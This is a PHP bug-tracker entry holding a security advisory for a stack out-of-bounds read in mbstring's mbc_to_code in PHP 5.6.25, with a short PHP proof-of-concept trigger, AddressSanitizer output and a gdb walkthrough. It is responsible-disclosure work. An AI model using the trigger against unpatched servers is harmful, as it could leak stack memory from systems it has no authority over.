|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-09-02 05:02 UTC] stas@php.net
-Type: Security
+Type: Bug
[2016-09-04 14:31 UTC] cmb@php.net
-Status: Open
+Status: Analyzed
-Assigned To:
+Assigned To: cmb
[2016-09-04 14:31 UTC] cmb@php.net
[2016-09-04 14:58 UTC] cmb@php.net
[2016-09-04 14:58 UTC] cmb@php.net
-Status: Analyzed
+Status: Closed
[2016-10-17 10:08 UTC] bwoebi@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 08:00:01 2025 UTC |
Description: ------------ ---[SPSA-20YY-{##}/PHP]------------------------------ SECURITY ADVISORY: SPSA-2016-{##}/PHP Affected Software: PHP 5.6.25 Vulnerability: Out of Bounds Read CVSSv3: 5.6 Severity: Medium Release Date: 2016-09-XX I. Background ~~~~~~~~~~~~~ The mbc_to_code() used in mbstring extension is susceptible to a stack-based out-of-bounds read vulnerability. II. Description ~~~~~~~~~~~~~~~ The following test case when run on an ASAN 5.6.x build of PHP produces the following error: <?php $var1 = mbereg_replace($var-232338951,NULL,NULL,NULL); var_dump($var1); ?> ==28849==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe96d960a2 at pc 0x00000061e732 bp 0x7ffe96d95770 sp 0x7ffe96d95768 READ of size 1 at 0x7ffe96d960a2 thread T0 #0 0x61e731 in mbc_to_code /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:105 #1 0x603bd8 in fetch_token /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:3146 #2 0x61284d in parse_regexp /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5514 #3 0x612cb4 in onig_parse_make_tree /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5543 #4 0x5d8f3e in onig_compile /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5300 #5 0x5d9f46 in onig_new /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5545 #6 0x6b49b9 in php_mbregex_compile_pattern /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:458 #7 0x6b78eb in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:870 #8 0x6bacb6 in zif_mb_ereg_replace /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:1028 #9 0xb321d4 in zend_do_fcall_common_helper_SPEC /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:558 #10 0xb449af in ZEND_DO_FCALL_SPEC_CONST_HANDLER /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:2602 #11 0xb30495 in execute_ex /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:363 #12 0xb305de in zend_execute /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:388 #13 0xa7e9e1 in zend_execute_scripts /home/symeon/Desktop/php-5.6.25/Zend/zend.c:1341 #14 0x91951c in php_execute_script /home/symeon/Desktop/php-5.6.25/main/main.c:2613 #15 0xc9119b in do_cli /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:994 #16 0xc9341f in main /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:1378 #17 0x7f47551d872f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2072f) #18 0x419e08 in _start (/home/symeon/Desktop/php-5.6.25/sapi/cli/php+0x419e08) Address 0x7ffe96d960a2 is located in stack of thread T0 at offset 34 in frame #0 0x6b6cac in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:788 This frame has 18 object(s): [32, 34) 'pat_buf' <== Memory access at offset 34 overflows this variable [96, 100) 'replace_len' [160, 164) 'string_len' [224, 228) 'eval' [288, 292) 'option_str_len' [352, 360) 'args' [416, 424) 'arg_pattern_zval' [480, 488) 'replace' [544, 552) 'string' [608, 616) 'syntax' [672, 680) 'retval_ptr' [736, 744) 'subpats' [800, 824) 'out_buf' [864, 888) 'eval_buf' [928, 952) 'v' [992, 1032) 'arg_replace_fci_cache' [1088, 1160) 'arg_replace_fci' [1216, 1306) 'err_str' Starting with the analysis on file ext/mbstring/php_mbregex.c line 814 a two bytes char array (pat_buf) is declared: --- cut --- 812 OnigUChar *string_lim; 813 char *description = NULL; 814 char pat_buf[2]; --- cut --- Setting the following breakpoints and running the PoC under the dubugger gives the following output: gdb-peda$ b utf8.c:104 Breakpoint 1 at 0x61e6f0: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 104. gdb-peda$ b php_mbregex.c:863 Breakpoint 2 at 0x6b77f7: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c, line 863. gdb-peda$ b utf8.c:99 Breakpoint 3 at 0x61e667: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 99. gdb-peda$ r ~/Desktop/php-asan_stack_oob_mbc_to_code.php Starting program: /home/symeon/Desktop/php-5.6.25/sapi/cli/php ~/Desktop/php-asan_stack_oob_mbc_to_code.php [Thread debugging using libthread_db enabled] Breakpoint 2, _php_mb_regex_ereg_replace_exec (ht=0x4, return_value=0x7ffff7f5c388, return_value_ptr=0x7ffff7f21a28, this_ptr=0x0, return_value_used=0x1, options=0x0, is_callable=0x0) at /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:863 863 pat_buf[0] = (char)Z_LVAL_PP(arg_pattern_zval); gdb-peda$ n 864 pat_buf[1] = '\0'; gdb-peda$ n 866 arg_pattern = pat_buf; gdb-peda$ print *pat_buf $1 = 0xf9 The pat_buf[0] is the result of the Z_LVAL_PP(arg_pattern_zval) function which is 0xf9. gdb-peda$ x/8wx pat_buf 0x7fffffff9f00: 0xffff00f9 0x00007fff 0xfffff3ee 0x00000fff 0x7fffffff9f10: 0xffff9f70 0x00007fff 0xffffa600 0x00007fff gdb-peda$ print pat_buf[0] $3 = 0xf9 gdb-peda$ print pat_buf[1] $4 = 0x0 Continuing with the execution on file ext/mbstring/oniguruma/enc/utf8.c the length is going to be calculated and then the following loop is going to be executed: --- cut --- 99 len = enclen(ONIG_ENCODING_UTF8, p); 100 c = *p++; 101 if (len > 1) { 102 len--; 103 n = c & ((1 << (6 - len)) - 1); 104 while (len--) { 105 c = *p++; 106 n = (n << 6) | (c & ((1 << 6) - 1)); 107 } 108 return n; 109 } --- cut --- gdb-peda$ c Continuing. Breakpoint 3, mbc_to_code (p=0x7fffffff9f00 <incomplete sequence \371>, end=0x7fffffff9f01 "") at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:99 99 len = enclen(ONIG_ENCODING_UTF8, p); gdb-peda$ n 100 c = *p++; gdb-peda$ p/d len $5 = 5 As seen above the len was incorrectly calculated. Stepping out four times, we enter into another loop on line 104. gdb-peda$ n 101 if (len > 1) { gdb-peda$ n 102 len–; gdb-peda$ n 103 n = c & ((1 << (6 – len)) – 1); gdb-peda$ n Breakpoint 1, mbc_to_code (p=0x7fffffff9f01 "", end=0x7fffffff9f01 "") at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:104 104 while (len--) { gdb-peda$ p/d len $6 = 4 On the following executions we are going to assign the 'c' variable to the 'p' pointer and stepping into the loop two times we end up with the following: 104 while (len--) { gdb-peda$ n 105 c = *p++; This time 'c' is going to be assigned with the 'p' and at this phase we started reading beyond that buffer: gdb-peda$ print c $7 = 0x0 gdb-peda$ print *p $8 = 0xff gdb-peda$ print p $9 = (const OnigUChar *) 0x7fffffff9f02 "\377\377\377\177" The next iteration will assign the value 0xff to the 'c' variable and thus start leaking other variables from the stack. Continuing the execution the out-of-bounds ASAN error kicks in: gdb-peda$ n ================================================================= ==8169==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9f02 at pc 0x00000061e732 bp 0x7fffffff95d0 sp 0x7fffffff95c8 READ of size 1 at 0x7fffffff9f02 thread T0 --- cut --- ==8169==ABORTING [Inferior 1 (process 8169) exited with code 01] III. Impact ~~~~~~~~~~~ An attacker who successfully exploited the vulnerability could start leaking other stack variables and may allow access to sensitive memory. IV. Disclosure ~~~~~~~~~~~~~ Reported By: Symeon Paraschoudis Discovery Date: 2016-08-26 Vendor Informed: 2016-09-01 Advisory Release Date: 2016-09-XX Patch Release Date: 2016-09-XX Advisory Updated: 2016-09-XX ---------------------------------[SPSA 2016-##/PHP]---